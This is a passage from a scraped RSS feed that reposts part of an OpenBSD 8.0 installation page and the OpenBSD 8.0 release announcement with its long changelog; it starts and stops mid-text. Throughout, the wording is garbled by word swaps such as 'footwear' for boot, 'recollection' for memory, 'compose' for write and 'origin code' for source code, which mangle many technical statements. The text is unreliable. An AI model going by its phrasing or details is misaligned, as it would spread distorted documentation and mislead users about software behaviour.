depiction from a mirror location to a CDROM, and power on your device during holding downward the <i>C</i> key until the display turns on and shows <i>OpenBSD/macppc boot</i>. </p><p> Alternatively, at the Open Firmware prompt, act <i>boot cd:,ofwboot /8.0/macppc/bsd.rd</i> </p><h3>OpenBSD/octeon:</h3> <p> After connecting a serial port, footwear bsd.rd complete the network via DHCP/tftp. Refer to the instructions in INSTALL.octeon for additional details. </p><h3>OpenBSD/powerpc64:</h3> <p> To install, compose <i>install80.img</i> or <i>miniroot80.img</i> to a USB stick, plug it into the device and choose the <i>OpenBSD install</i> list item in Petitboot. Refer to the instructions in INSTALL.powerpc64 for additional details. </p><h3>OpenBSD/riscv64:</h3> <p> To install, compose <i>install80.img</i> or <i>miniroot80.img</i> to a USB stick, and footwear alongside that run plugged in. Make certain you additionally have the microSD cardstock plugged in that shipped alongside the HiFive Unmatched board. Refer to the instructions in INSTALL.riscv64 for additional details. </p><h3>OpenBSD/sparc64:</h3> <p> Burn the depiction from a mirror location to a CDROM, footwear from it, and type <i>boot cdrom</i>. </p><p> If this doesn't work, or if you don't have a CDROM drive, you can write <i>floppy80.img</i> or <i>floppyB80.img</i> (depending on your machine) to a floppy and footwear it alongside <i>boot floppy</i>. Refer to INSTALL.sparc64 for details. </p><p> Make certain you use a correctly formatted floppy alongside NO BAD BLOCKS or your install will most apt fail. </p><p> You can additionally compose <i>miniroot80.img</i> to the toggle partition on the disk and footwear alongside <i>boot disk:b</i>. </p><p> If nothing works, you can footwear complete the network as described in INSTALL.sparc64. </p> <hr> <h3>How to upgrade</h3> <p> If you already have an OpenBSD 7.9 system, and do not desire to reinstall, upgrade instructions and direction can be established in the <a href="https://en.mycoding.id/category/technology" target="_blank">Upgrade Guide</a>. </p> <hr> <h3>Notes concerning the origin code</h3> <p> src.tar.gz contains a origin archive starting at /usr/src. This document contains everything you need apart from for the kernel sources, which are in a distinct archive. To extract: </p><blockquote><pre> # mkdir -p /usr/src # cd /usr/src # tar xvfz /tmp/src.tar.gz </pre></blockquote> <p> sys.tar.gz contains a origin archive starting at /usr/src/sys. This document contains all the kernel sources you need to rebuild kernels. To extract: </p><blockquote><pre> # mkdir -p /usr/src/sys # cd /usr/src # tar xvfz /tmp/sys.tar.gz </pre></blockquote> <p> Both of these trees are a regular CVS checkout. Using these trees it is imaginable to get a head-start on using the anoncvs servers as described <a href="https://en.mycoding.id/category/technology" target="_blank">here</a>. Using these files results in a much faster first CVS update than you could anticipate from a caller checkout of the complete OpenBSD origin tree. </p> <hr> <h3>Ports Tree</h3> <p> A ports tree archive is additionally provided. To extract: </p><blockquote><pre> # cd /usr # tar xvfz /tmp/ports.tar.gz </pre></blockquote> <p> Go peruse the <a href="https://en.mycoding.id/category/technology" target="_blank">ports</a> page if you cognize nothing concerning ports at this point. This content is not a manual of how to use ports. Rather, it is a set of notes meant to kickstart the person on the OpenBSD ports system. </p><p> The <i>ports/</i> directory represents a CVS checkout of our ports. As alongside our complete origin tree, our ports tree is accessible via <a href="https://en.mycoding.id/category/technology" target="_blank">AnonCVS</a>. So, in command to keep up to date alongside the -stable branch, you must make the <i>ports/</i> tree accessible on a read-write average and update the tree with a command like: </p><blockquote><pre> # cd /usr/ports # cvs -d anoncvs@server.openbsd.org:/cvs update -Pd -rOPENBSD_8_0 </pre></blockquote> <p> [Of course, you must substitute the server name current alongside a nearby anoncvs server.] </p><p> Note that most ports are accessible as packages on our mirrors. Updated ports for the 8.0 publish volition be made accessible if problems arise. </p><p> If you're curious in seeing a harbor added, would akin to assistance out, or just would akin to cognize more, the mailing list <a href="https://en.mycoding.id/category/technology" target="_blank">ports@openbsd.org</a> is a fine location to know. </p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/openbsd-8-0-73239</guid> <pubDate>Tue, 20 Oct 2026 03:06:40 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[OpenBSD 8.0: released Oct 20, 2026]]></title> <description><![CDATA[OpenBSD 8.0: released Oct 20, 2026. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/openbsd-8-0-released-oct-20-2026-73235</link> <content:encoded><![CDATA[<div> <pre><b>[<a href="https://en.mycoding.id/category/technology" target="_blank">prev in list</a>] [<span color="#c0c0c0">next in list</span>] [<a href="https://en.mycoding.id/category/technology" target="_blank">prev in thread</a>] [<span color="#c0c0c0">next in thread</span>] </b> <b><span size="+1"> List: <a href="https://en.mycoding.id/category/technology" target="_blank">openbsd-misc</a> Subject: <a href="https://en.mycoding.id/category/technology" target="_blank">OpenBSD 8.0: released Oct 20, 2026</a> From: <a href="https://en.mycoding.id/category/technology" target="_blank">"Theo de Raadt" &lt;deraadt () openbsd ! org&gt;</a> Date: <a href="https://en.mycoding.id/category/technology" target="_blank">2026-10-20 1:04:57</a> Message-ID: <a href="https://en.mycoding.id/category/technology" target="_blank">39783.1792458297 () cvs ! openbsd ! org</a></span> [Download RAW <a href="https://en.mycoding.id/category/technology" target="_blank">message</a> or <a href="https://en.mycoding.id/category/technology" target="_blank">body</a>]</b> ------------------------------------------------------------------------ - OpenBSD 8.0 RELEASED ------------------------------------------------- October 20, 2026. We are pleased to province the authoritative publish of OpenBSD 8.0. This is our 61st release. We remain arrogant of OpenBSD's document of more than thirty years alongside lone two distant holes in the default install. As in our former releases, 8.0 provides important improvements, including new features, in nearly all areas of the system: - Platforms particular improvements: o amd64: - Raised the size of amd64 kernel virtual location area from 4G to 512G. - pmap(9) straightforward map now placed at a random location. - Sped up toggle encryption by using AES cpu instructions. o arm64: - Added hibernate support. - Sped up toggle encryption by using AES cpu instructions. - Implemented bounce buffers. o luna88k: - Fixed m88k multiple CMMU enroll writes. - Extended m88k kernel-mode CMMU error handling to grip write safety faults. - Ensure luna88k m8820x_initialize_cpu() initializes logical CPU #0 on non-MP kernels. - Faster CMMU stroll in luna88k m8820x_cpu_number(). o riscv64: - Detect CPU extensions and advertise those usable by userland through elf_aux_info(3) AT_HWCAP and AT_HWCAP2 queries. - Added kernel assistance for the 'V' vector extension. - Implemented bounce buffers. - Added assistance for RISC-V Advanced Interrupt Architecture; added imsic(4) and aplic(4) drivers. - Added kernel assistance for the Sstc timer extension. o sparc64: - Added limits inspect for the sparc64 relocation flags table. - Switched sparc64 to LLVM toolchain. - Improved recollection alignment on SPARCV9. o Other architectures: - Retired assistance for loongson architecture (not operating with Clang 22). - Various RISC-V and MIPS bugfixes for LLVM. - Fixed encoding of hppa safety bits. o More phase particular changes can be established in the hardware assistance division below. - Various kernel improvements: o Fixed recollection size calculation in open_wmemstream(3). o Fixed semop(2) semaphore id being destroyed/replaced during environment switch. o Improved idle leaf queue heuristics for pagedaemon swapping pages/freeing memory. o Added getexecpath(3) to provision copy of the elf(5) program's implementation path. o More preparations for larger disklabel. - Suspend/Hibernate Support: o Enabled suspend/resume for qwz(4). o Made ufshci(4) last a suspend on the Samsung Galaxy Book4 Edge and HONOR MagicBook Art 14 Snapdragon. o Stopped waking a suspended laptop whenever lid is closed and machdep.lidaction=0. o Added a earth sleep manner changeable to differentiate hibernate from 'normal' suspend. o Added suspend/resume assistance for qcuart(4). o Added assistance for wakeup interrupts to bytgpio(4), fixes IdeaPad resuming from suspend. o Validate size of chunks copied to piglet during hibernate unpacking of disk image. o Validate on-disk depiction sizes against entire figure overflow whenever reading chunks in unhibernate. o Prevent disk depiction overreads whenever study the chunktable in unhibernate. o Clean up the framebuffer following unhibernate. o Made nonaccomplishment to allocate a dedicated queue for nvme(4) hibernate assistance non-fatal. - Direct Rendering Manager and graphics drivers: o Updated drm(4) to Linux 6.18.53. o Support for Intel Arc A-Series (DG2/Alchemist) graphics cards in inteldrm(4). o Increased kernel virtual location area on amd64 allows mapping additional than 4GB of VRAM. o Workaround inteldrm(4) GuC timeout errors seen on several Alder Lake systems. - VMM/VMD improvements: o Added MP assistance for up to 64 VCPUs per visitant VM. o Redesigned to use records to oversee VM ownership. o Added x2apic manner assistance for visitant virtual machines. o Fix for whenever vmd(8) does not detect kernel on startup. o Provide faulting GPA to vmd(8) for MMIO exits from vmm(4). o Refactored vmm(4) exit handling and accurate RIP adjustment. o Added assistance for changeable dimension instructions in VMX paths to vmm(4). o Prevent OOB says by vmd(8) in 32 and 64-bit elf(5) loaders with malformed elf(5) files. o Implemented missing lapic/ioapic modes to fix vmd(8) assistance for 32-bit linux guests. o Added checksum offload for vmd(8) guests. o MSI/MSI-X virtio equipment interrupt assistance added. o Support really divided split-virtqueues in vmd(8). o Added i82093aa ioapic and i82489dx-compatible lapic emulation to vmd(8). o Improved qcow handling. - Various new userland features: o netstat(1) can now imprint interface multicast counter; made '-q' additional specific. o Adjusted ddb(4) default 'ps' output, imprint 'struct process' and 'struct proc' separately. o Made mount(8) assistance DUIDs alongside -u; maintain DUID whenever updating document system. o Implemented authority of midithru ports alongside sndioctl(1). o Allow catalog elements to be added or removed by sndioctl(1). o Added the sndiod(8) server.mode authority making the setting dynamic, changeable via sndioctl(1). - More bugfixes and tweaks in userland: o Ensure elf(5) header and program header fit into the shared archive whenever loading. o Fixed leak of key recollection in getpwent(3) yp_next(). o In patch(1), solved an infinite iteration on malformed ed(1) script input. o Use execv(3) absolute-path in authpf(8), pflogd(8), ldapd(8), ldpd(8), lpd(8), radiusd(8), snmpd(8). o uaudio(4) now tests the reported format and channels are usable. o Stopped sndiod(8) aborting if a MIDI endpoint connects with non-empty buffers. o Fixed two missing checks of file_new() come back value in sndiod(8). o Fixed npppd(8) LCP MRU choice handing. o Adjust pstat(8) to come back the pid of the meeting chief process; authorize '-t -M' to work. o Made eigrpd(8) validate the prefixlen to evade overflow. o Made sndiod(8) allocate all midithru structures on the heap. - Improved hardware assistance and controller bugfixes, including: o Enabled the GXTP7936 touchscreen on the Samsung Galaxy Book4 Edge. o Added assistance for the riscv64 K3 PCIe/USB3 combo PHY. o Enabled gpioleds(4) on riscv64. o In smte(4) (SpacemiT K1 Ethernet device), improved error checking of received packets. o Fixed regular MSI interrupts on the SpacemiT K1 SoC. o Added assistance for the SpacemiT K3 SoC to smtclock(4). o Added SC7280 assistance to qcgpio(4). o Added assistance for the SpacemiT K3 dwpcie(4) PCIe controller. o Added RK3528 I2C5 clock, used in the Radxa E24C. o Added ACPI hardware IDS for Qualcomm Glymur (X2) SoC. o Implemented leaf array mirroring in apldart(4); allow IOMMU for Apple USB controllers. o New samsabi(4) controller for the Samsung Advanced BIOS Interface (SABI). o New sambat(4) controller for Samsung laptop power division monitor. o New rkotp(4) controller for Rockchip OTP memory. o Added assistance for the RK8600 regulator used for CPU voltage on Radxa Zero 3 boards. o Added additional AMD "Krackan Point" equipment ids. o Fixed HONOR MagicBook Touchpad multitouch support. o Fixed esp(4) FIFO recollection overflow. o Fixed possible recollection leak in softraid(4) rebuild. o Fixed softraid(4) rebuild on disks alongside 4096-byte sectors. o Fixed elevated recollection mbufs for 64-bit DMA capable re(4). - New or improved network hardware support: o Added assistance for Panther Lake and Wildcat Lake Ethernet devices to em(4). o Added assistance for Intel E610 Ethernet devices to the ix(4) driver. - Added or improved wireless network drivers: o Properly grip possible case of bare packets returned from qwx(4) hardware. o Added missing DMA syncs for qwx(4) SRNG DMA descriptor memory. o Properly grip qwx(4) VIF DMA map allocation failures at attach time. o Fixed use of old pointers on the qwx(4) vif catalog which caused crashes. o Properly reset qwx(4) controller and equipment province if it fails to get RUNNING in qwx_init(). o Avoid competition circumstance in qwx(4) equipment during power-on. o Use the ioctl rwlock correctly in qwx(4) qwx_activate(). o Ensure qwx(4) rx_ring-&gt;bufs_max and freemap are continually initialised correctly. o Stopped qwx(4) init project waiting for the ioctl fastener to become available. o Made qwx(4) correctly errors which happen in qwx_qmi_fw_init_done(). o Fixed roaming between APs alongside qwx(4). o Always authorize data example interrupts in qwx(4) during the interface is UP. o Added assistance for 40MHz channels to qwx(4). o Made qwx(4) lone allocate a new mbuf whenever a liberated Rx circle slot is available. o Avoid calling bus_dmamap_create() from interrupt environment in qwx(4). o Handle nation code events sent by qwx(4) firmware to make affiliation additional reliable. o Reset qwx(4) command circle 'queued' oppose whenever the command ring gets reset. o Ensure that qwx(4) nq flags are continually cleared whenever switching net80211 state. o Fixed figure of tx/rx streams set in qwx(4) mac config. o Made qwx(4) dispatch the PMF good-bye deauth example whenever hopping out of RUN state. o Ensure no new tasks get scheduled during IFF_RUNNING is in qwx_stop(). Prevents qwz(4) crash. o Make qwx(4) favor ic_bss complete the ephemeral node in the scan tree. o Add equal to qwx(4) firmware following starting the vdev, not before. Fixes a firmware crash. o Add 802.11n assistance to qwx(4). Advertise HT capabilities and pass HT/QoS equal association. o Ask qwx(4) firmware to move into M3 province before resetting the device. o Avoid calling bus_dmamap_destroy() from interrupt environment in qwx(4). o Added 802.11n alongside 40MHz width to qwz(4). o Let qwz(4) grip QoS in native WiFi frames. - Installer, upgrade, bootloader, and pkg-tools improvements: o Harmonise installurl(5) handling in pkg_add(1), sysupgrade(8), and syspatch(8). o Fixed liberated area inspect by fw_update(8) for unqualified filenames. o Set bounds on the size of records fw_update(8) can download. o Stricter validation in fw_update(8) to no longer treat untrusted comments as data. o pkg_add(1) now detects and overcomes several endless loops with merge-sets. o Clean trailing slashes from fw_update(8) FWURL. o Removed current directory from default pkg_add(1) hunt path. o Improved downloading of firmware by filename in fw_update(8). o Improved fw_update(8) error whenever SHA256.sig is not found. o fw_update(8) now checks signature of local SHA256.sig. o In fw_update(8), made tar(1) skip records exterior expected locations. o Stopped syspatch(8) downloading complete tgz document whenever looking for a possible update. - Security improvements: o Fixed a pledge(2) in vfs(9). o Fixed out-of-bounds admission attempts on aplmca(4) SOCs. o Stopped use of non-standard UID_MAX and GID_MAX in various utilities. o Improved ipsec(4) AES GMAC crypto. o Made iked(8) refuse malformed and out-of-state IKEv2 messages. o Plugged memleak in x509_verify (CID 656293). o Avoid overflow in sysctl(2) KERN_PROC_ARGS. o Prevent bogus or malicious iaddr data from crashing dhcpd(8). o Avoid possible recollection exhaustion via DHCPINFORM in dhcpd(8). o Properly use saltlen and min_saltlen in libcrypto RSA-PSS. o Reject invalid delta CRLs in libcrypto x509. o Fixed RFC 3779 bequest handling in libcrypto's path validation. o Use execve(2) as $ORIGIN in ld.so(1) (otherwise fallback to realpath). o Hardened syspatch(8) against malicious scripts. o Restrict the characters that are allowed to continue through smtpd(8) surroundings and mda. o Fixed study former the NUL by pax(1). o Stopped pax(1) extracting malicious archives exterior the working directory. o Added 'mcast' to the pledge(2) for lldpd(8). o Tightened pledge_sockopt() level/optname checks for different types of sockets. o Extended the 'mcast' pledge(2) to authorize multicast tweaks on Ethernet example sockets. o Updated libexpat to type 2.8.4 (CVE-2026-66046 CVE-2026-76641 CVE-2026-76957). o Avoid manuscript pathname TOCTOU in exec whenever the vnode changes. o Made execve(2) realpath handling additional robust. o Switched luna88k to build kernel records alongside -fno-pie. o Unprivileged kernel recollection peruse and compose exposure removed from m88k 88100 data pipeline. o unveil(2) now restricts man(1), makewhatis(8), and man.cgi(8) read and compose access. o dhcpleased(8) now validates the IP location the dhcp server acks. o Fixed signed entire figure overflow in perl(1) Storable (CVE-2026-57433). o Fixed entire figure overflow in perl(1) group and unpack (CVE-2026-57432). o Fixed perl(1) incorrect regular expression matches (CVE-2026-13221). o Fixed recollection leaks and competition circumstance in profil(2). o Improved checking of elf(3) notes; forestall out of limits access. o Reject elf(3) interpreters without loadable segments. o Disable kbind(2) and pinsyscalls(2) for fixed binaries inside exec_elf_makecmds(). o Fixed elf(5) structs to evade leaking kernel stack contents. o LibXfont 2 fixes for CVE-2026-56001, CVE-2026-56002, and CVE-2026-56003. o Xserver(1) fixes for CVE-2026-55999 and CVE-2026-56000. o Updated perl(1) Socket to 2.041 (contains fix for CVE-2026-12087, out-of-bounds heap read). o Fixed iked(8) to bzero(3) the disguise data structure, fairly than using mask4. o Fixes for CVE-2026-12244, CVE-2026-12245, CVE-2026-12246 and CVE-2026-12490 in nsd(8). o Stopped leaking transport in isakmpd(8) error paths of udp_encap_handle_message(). o Enforce per-type ID payload size in isakmpd(8) ipsec_validate_id_information(). o Avoid change overflows in memmem(3) and strstr(3). o Multiple additional limits checks in isakmpd(8). o Provide a distinct executable document for syslogd(8) parent, for privilege separation. o Made smtpd(8) apparent userinfo before sending complete imsg. o Made smtpd(8) refuse oversized sockaddr payloads received over privsep IPC. o Zero the impermanent smtpd(8) letter cover parsing buffers before use to fortify privsep. o Clear pending asynchronous lookups at teardown, for stronger smtpd(8) privsep. o Fixed possible data leak from an uninitialised ktrace(1) stack variable. - New features in the network stack: o Set ice(4) nexus province to complete duplex. o Reduced maximum TSO segs in ice(4), to authorize additional interfaces to attach. o Enabled use of 128 DMA segments for TSO packets on ice(4). o Enabled 64-bit DMA for bge(4) BCM5720. o Enabled jumbo frames in ogx(4). - Further changes and bugfixes in the network stack: o Stopped ipsec(4) overflowing the maximum packet size in the IP header. o Detect out of border says from an int overflow in the bpf(4) bpf_mem backends. o Moved bpf(4) for outgoing packets afterward in the transmit path. o Avoid leaking recollection whenever mbuf sequence allocations neglect in tun(4) tun_dev_write(). o Fixed hardmtu and rxmax in ixl(4). o Handle energetic conduit width changes correctly in iwx(4). o Hardened bpf(4) bpf_filter; obstacle unhandled instructions with bpf_validate. o Added appropriate program border checks to the bpf(4) motor (libpcap CVE-2026-31912). o Fixed bpf display calls in ppp(4); use bpf_mfilter(9). o Improved imsg handling of LS_UPD, LS_FLOOD and LS_SNAP in ospfd(8). o Changed ospfd(8) imsg handling. o ospfd(8) now adds missing rtlabel references and update routes whenever lone the tag changes. o Preserve configured interface category on ospf6d(8) nexus update. o Ensure ospfd(8) does not leak data on recollection location layout from process. o Made authpf(8) read_config() eliminate trailing pale area to avoid misconfigurations. o Fixed veb(4) SIOCBRDGRTS and SIOCBRDGVRTS ioctls leaking kernel stack data. o Fixed packet misconduct in veb(4). o veb(4) now returns ENOMEM whenever mallocarray() fails in veb_rule_list_get(). o Fixed ifconfig(8) 'vebX -tagged ifX' which accepted too many arguments. o Improved em(4) K1 exit timeout, to obtain non-broadcast packets. o Simplified mac category tests on em(4). - The following changes were made to the pf(4) firewall: o Fixed off-by-one in pf(4) ioctl DIOCIGETIFACES. o Do not liberated the pf(4) caller's ruleset whenever attaching a table fails. o No longer authorize un-terminated strings in pf(4) ioctl's. o Stopped pf(4) dropping valid MLD packets alongside unspecified source address. o Prevent pf(4) dropping TCP province if it receives a crafted reset packet. o Fixed races in pf(4) association counters that caused connection oppose underflows. o Fragment reassembly in pf(4)/inet(4)/inet6(4) now occurs in accurate routing domain. o Stopped 'pfctl -s all' dumping all OS fingerprints loaded to pf(4). o Fixed NULL pointer dereference in pf(4) outbound packet path. o Fixed out-of-bounds peruse in pf(4) pf_rule_copyin(). - Routing daemons and another userland network programs saw the following improvements: o Altered smtpd(8) code to evade false bug reports from LLM scanners. o Prevent size_t underflow on a malformed packets in agentx(3) and snmpd(8). o Widen httpd(8) server flags to 64-bit integers. o httpd(8) now enforces 'max petition body' for chunked requests passed to fastcgi. o Made httpd(8) refuse config of shared TLS listeners alongside different client CA or CRL. o In httpd(8) now sends one imsg fastcgi param struct per parameter, to maintain config order. o Added tradition HTTP header assistance to httpd(8). o Fixed httpd(8) suffix range handling. o Stopped httpd(8) sending location fcgiparams twice. o Made httpd(8) drain abort reply via bufferevent to prevent errors being truncated. o Restricted IMSG_CTL_PROCFD to genitor and inspect procedure id/instance in iked(8), httpd(8), relayd(8), and snmpd(8). o Switched the default TLS code in httpd.conf(5) set from 'compat' to 'secure.' o Made httpd(8) and dhcpd(8) correctly error inspect timegm(3). o Random-relink smtpd(8) and httpd(8) at boot. o httpd(8) now rejects CL.TE petition framing (per RFC 9112 sections 6.1 and 6.3). o Made httpd(8) refuse obs-fold alongside 400 (RFC 9112 5.2). o Fixed uploads using httpd(8) chunked transfer-encoding. o httpd(8) volition now advertise Vary: Accept-Encoding whenever gzip-static is enabled. o Made httpd(8) advertise fixed document revalidation, preserving Last-Modified and If-Modified-Since flow. o Added additional config checks to relayd(8). o Explicitly flush relayd(8) redirect rules following reloading. o In relayd(8), removed incorrect disable emblem for routers. o Use a per-host random ICMP echo id in relayd(8). o Added Lua patterns(7) assistance for relayd(8) display rules; improved glob(7) documentation. o Use getexecpath(3) and execv(3) in bgpd(8) eigrpd(8), httpd(8), iked(8), ntpd(8), relayd(8), and smtpd(8). o Fixed relayd(8) deferring connections log. o Made relayd(8) inspect proc_compose and imsg_compose_event return values. o Allow environment log flat from relayd.conf(5). o Added ECDSA assistance to the relayd(8) CA privsep engine. o relayd(8) now rejects copy Content-Length headers alongside 400. o Switched the default TLS code in relayd.conf(5) set from 'HIGH:!aNULL' to 'secure.' o Switched relayd(8) to new imsg API. o Made relayd(8) band Content-Length for chunked messages (RFC 9112 division 6.1). o Made relayd(8) refuse obs-fold to forestall parser differentials (RFC 9112 5.2). o Removed relayd(8) X509_dup() call that leaks memory; add error checks for X509_set_*. o In relayd(8), added assistance for the MKCALENDAR HTTP method. o Fixed debug build of relayd(8). o Let relayd(8) assistance multiple resolvable addresses. o Let relayd(8) grip HTTP responses without bodies. o Fixed NULL dereference in isakmpd(8) message_alloc_reply() callers. o Fixed imaginable unaligned 32-bit peruse by isakmpd(8). o Validate isakmpd(8) DELETE payload SPI gathering size. o Validate recommendation and change sizes in isakmpd(8). o Added dimension checks for the Port-Message and State attributes in login_radius(8) Access-Challenge. o Prevent the dhcpleased(8) motor from sending us a negative amount of routes. o Made dhcpleased(8) obtain accurate amount of routes from the engine process. o Make certain dhcpleased(8) UDP header dimension site at smallest covers the UDP header. o Extended smtpd(8) mask-src to suppress meeting details. o Switched smtpd(8) complete to imsgbuf_get(3). o Free dispatcher in smtpd(8) mda_envelope_free() to evade a leak. o smtpd(8) now rejects bare or slash-bearing usernames before construction the mbox path. o smtpd(8) now rejects CR/LF in argv-derived sectors before starting the SMTP enqueue dialogue. o Properly liberated the copied letter cover on the smtpd(8) smarthost lookup nonaccomplishment path. o Properly liberated mda_subaddress in smtpd(8) mda_envelope_free() to evade recollection leak. o Made smtpd(8) use inflateEnd() to tear downward the inflate stream in uncompress_gzip_chunk(). o smtpd(8) now stops parsing DNS answers formerly unpack_rr() reports failure. o Validate encrypted smtpd(8) queue buffer sizes before processing auth tag and IV data. o Imported rtrd(8) RPKI-To-Router protocol daemon and rtrctl(8). o acme-client(1) saw multiple changes: - Allow wildcards to be stated in substitute names in the acme-client(1) config. - Made acme-client(1) rub optarg/eab/eab_key alongside freezero(3) following use. - Error inspect strdup() for external document binding by acme-client(1). - In acme-client(1), forestall HTTP petition injection. - Let acme-client(1) grip '=' padding in base64url encoded EAB keys. - Fixed timegm(3) invocations in acme-client(1). - Added assistance for acme-client(1) external document binding. o In bgpd(8): - Adjusted bgpd(8) graceful restart timer handling for multi-AFI/SAFI sessions. - Made bgpd(8) do a prefix re-evaluation if the validation province of a path changes. - Clear bgpd(8) NEXTHOP_CONNECTED in nexthop_update() if msg-&gt;connected is false. - Made bgpd(8) throttle says from the equal when MSG_PROCESS_LIMIT reached. - Fixed bgpd(8) aspa_table_equal() equality comparison. - Incorporated new RTR v2 error codes from draft-ietf-sidrops-8210bis-26 to bgpd(8). - Reworked bgpd(8) IdleHoldTimer and how accelerated reconnects are implemented. - Reworked the force_update logic in the bgpd(8) adj-rib-out. - Stopped bgpd(8) leaking equal data to bgpctl(8). - Implemented ch_meta_locate() in bgpd(8). - Brought rear the bgpd(8) path_id_tx hack for regular peers. - In bgpd(8), improved mrt_dump_entry_mp() calculation handling, evade overflow. - Avoid infinite iteration whenever parsing PFKEY replies in iked(8), isakmpd(8), bgpd(8), and ldpd(8). - Had bgpd(8) create certain the nexthop trait is current if there is any nlri data. - Stopped bgpd(8) failing difficult on type mismatch; ignore additional end-of-params messages. - Improved bgpd(8) handling of unidentified extended communities. - Increased the bgpd(8) MRT trait buffer to MAX_EXT_PKTSIZE so it plant in all cases. - Fixed use-after-free in bgpd(8) rib_remove and parse.y. - Added bgpd(8) force_update emblem to power pend_prefix_add() calls in adjout_prefix_update(). - Made bgpd(8) regard RTR min-version in downgrade way and correctly decision the connection. - Improved bgpd(8) add-path dispatch parser. Error out if max is used alongside best. - Adjusted handling of limits in bgpd(8) up_generate_addpath(). - Added extended communication capability to checks for what the bgpd(8) equal has enabled. - Made bgpd(8) come back an error on unhandled imsg types in the adj-rib-out case. - Fixed bgpd(8) harbor configuring on small endian systems. - Extra size checks for bgpd(8) ibuf_set_maxsize(). - Introduce MAX_ADDPATH_COUNT (set to 100) and use this for the bgpd(8) add-path. - In bgpd(8) merge_peers() additionally set local_bgpid for cloned peers, not lone regular peers. - Loop counters converted from uint8_t to u_int in bgpd(8). - Reduce maximum configurable old period to CAPA_GR_TIMEMASK (4095) in bgpd(8). - In bgpd(8) session_graceful_restart() additionally arm the SessionDown timer. - Made bgpd(8) inspect xp-&gt;rdesession to cognize if the RDE has the meeting operating or not. - Improved path_calc_hash() in bgpd(8). - Fixed 'treat as withdraw' handling for invalid bgpd(8) ORIGIN attributes. - Fixed two recollection accounting issues in bgpd(8) chash. - Additional checks on TLV encoding in bgpd(8). - Limit all bgpd(8) ASPATH attributes to 750 elements. - In bgpd(8), forestall overflow of the uint8_t dimension value in attr_optadd. - Re-evaluate bgpd(8) prefixes if fair PREFIX_FLAG_FILTERED changed. o In rpki-client(8): - Fixed rpki-client(8) to evade buffer overreads alongside OpenSSL 4.1. - In rpki-client(8), refuse non-conformant certificate subject encodings. - Made rpki-client(8) inspect alignment of certificate CRLDPs alongside the referring Manifest. - Reworked rpki-client(8) cms_parse_validate(). - Fixed handling of inherited resources in leaves by rpki-client(8). - Unified all signed entity parser functions in rpki-client(8). - rpki-client(8) now unconditionally warns concerning incorrect RSA parameters; rejects several malformed ROAs. - Limit the range of deltas added to the rpki-client(8) queue. - Ensure accordant states in persistent rpki-client(8) HTTP connections. - Removed behavior difference between rpki-client(8) versions alongside and without gbr support. - Fixed imaginable exit competition in the rpki-client(8) parser. - Made rpki-client(8) lone document NCA former on successful runs. - rpki-client(8) volition now lone output config records on prosperous run. - Batch rpki-client(8) retries of non-functional CAs based on their rsync basis URI. - Properly use constraints to rpki-client(8) BGPsec Router certs. - Deduplicated rpki-client(8) skiplist, shortlist, and NCA retry handling. - Removed incorrect liberated in rpki-client(8) nca_hist_load(). - In rpki-client(8) cert_ca_sia(), use the accurate notify cord in error message. - Removed twice fclose in a achievement way in rpki-client(8). - Added a coinflip to addition cycle-to-cycle jitter in rpki-client(8). - In rpki-client(8), added a backoff retry scheme for non-functional CAs. - rpki-client(8) now rejects certs alongside copy extension OIDs. - Clear last_modified following all reply on a persistent HTTP rpki-client(8) connection. - In rpki-client(8), toggle subordinates in CCR manifests to a uncomplicated queue. - Made rpki-client(8) exclude hidden records and directories when synchronising via rsync. - In rpki-client(8), constricted the dimension of filenames in some ASN.1 sectors to 255. - Fixed incomplete strncmp() inspect in rpki-client(8). - Fix off-by-one in rpki-client(8) ip_addr_check_overlap(). - Fixed shortlist and skiplist checks in rpki-client(8). - Added additional error checks and safeguards to rpki-client(8). - tmux(1) improvements and bug fixes: o Keep the scroll stance in tree manner whenever the catalog is rebuilt (issue 5631). o Do not leak waiting clients (in wait-for) if they are killed (issue 5614). o Do not cancel grade whenever a click is on the border. o Added assistance for borderless menus, akin panes. o Added utf8 terminal-features. o Ignore concentration events before to evade them interfering alongside prefix. o Added -K emblem to new-pane to create a modal pane grasp all keys. o Always unzoom before splitting windows, including for floating panes. o Added 'T' to alter pane title. o Added refresh-now command. o Ignore Ms if it is invalid (eg no %p1), study in client mode. o Fixed collision whenever synchronising groups and there is no current window. o Added pane_private_modes format alongside catalog of DEC personal modes. o Prevented center dumps upon startup on landisk. o Added modal panes, created currently alongside new-pane -O. o Major rework of prompts. o Fixed cursor calculation whenever the position row is at the top. o Added -H emblem to capture-pane to display hyperlinks. o Added -L to display row numbers alongside capture-pane and -F to show row flags. o Clear complete lines whenever removing from former or freeing. o Redraw complete meeting whenever making a new pane. o Added -g emblem to kill-session to slay all sessions in a group. o Fixed collision whenever freeing layout cell. o Added missing disagreement to %unlinked-window-renamed. o Increase escape postpone if the buffer contains a partial paste end. o Fixed collision caused by including unattached clients on sorted list. o Added new-pane command. o Fixed infinite iteration because of underflow whenever redrawing scrollbar. o Fixed authority manner teardown ordering for queued pane output. o Added Emacs-style re-centre-top-bottom. o Added period limits to several loops. o Added missing flags to screen_mode_to_string. - LibreSSL type 4.4.0: o Portable changes: - Numerous compatibility tier fixes for AIX, FreeBSD, macOS, MinGW, NetBSD, and particularly Windows. - Fixed incorrect code generation by the MSVC ARM64 optimizer in constant-time bignum code. - Improved gathering assistance on many platforms. - Fixed openssl(1), nc(1), and ocspcheck(8) silently running without pledge(2) and unveil(2) on hosts that provision them. o Internal improvements: - Minor code cleanup for PKCS#7. - Clear unused bits for the maximum of RFC 3779 IP address ranges. - Cleanup passes complete the DTLS code, avoiding many contortions. - Zero out the failure_key in ML-KEM code. - Improve portability in preprocessor based SHA assembly. - Removed a few vestigial #ifdefs from community and internal headers. - Introduce and use dtls12_handshake_msg framework. - Rename union from _ to u in the ui code. Avoids Windows CE #ifdef. - Clean up and simplify signature algorithm handling after elimination of TLSv1.0 and TLSv1.1. - Add a item at infinity inspect to ecdh_compute_key(). - Fix incorrect intent inspect in unreachable non-legacy way of the contemporary X.509 verifier. - Improve TLSv1.3 server handling of no shared groups. - Correct secondary key portion handling for HelloRetryRequests. - Fix EXFLAG_CRITICAL mishandling in the crl_cb(). - Among CRLs alongside the identical mark favor the one alongside the most latest thisUpdate to equivalent BoringSSL and OpenSSL behavior. - Clean up 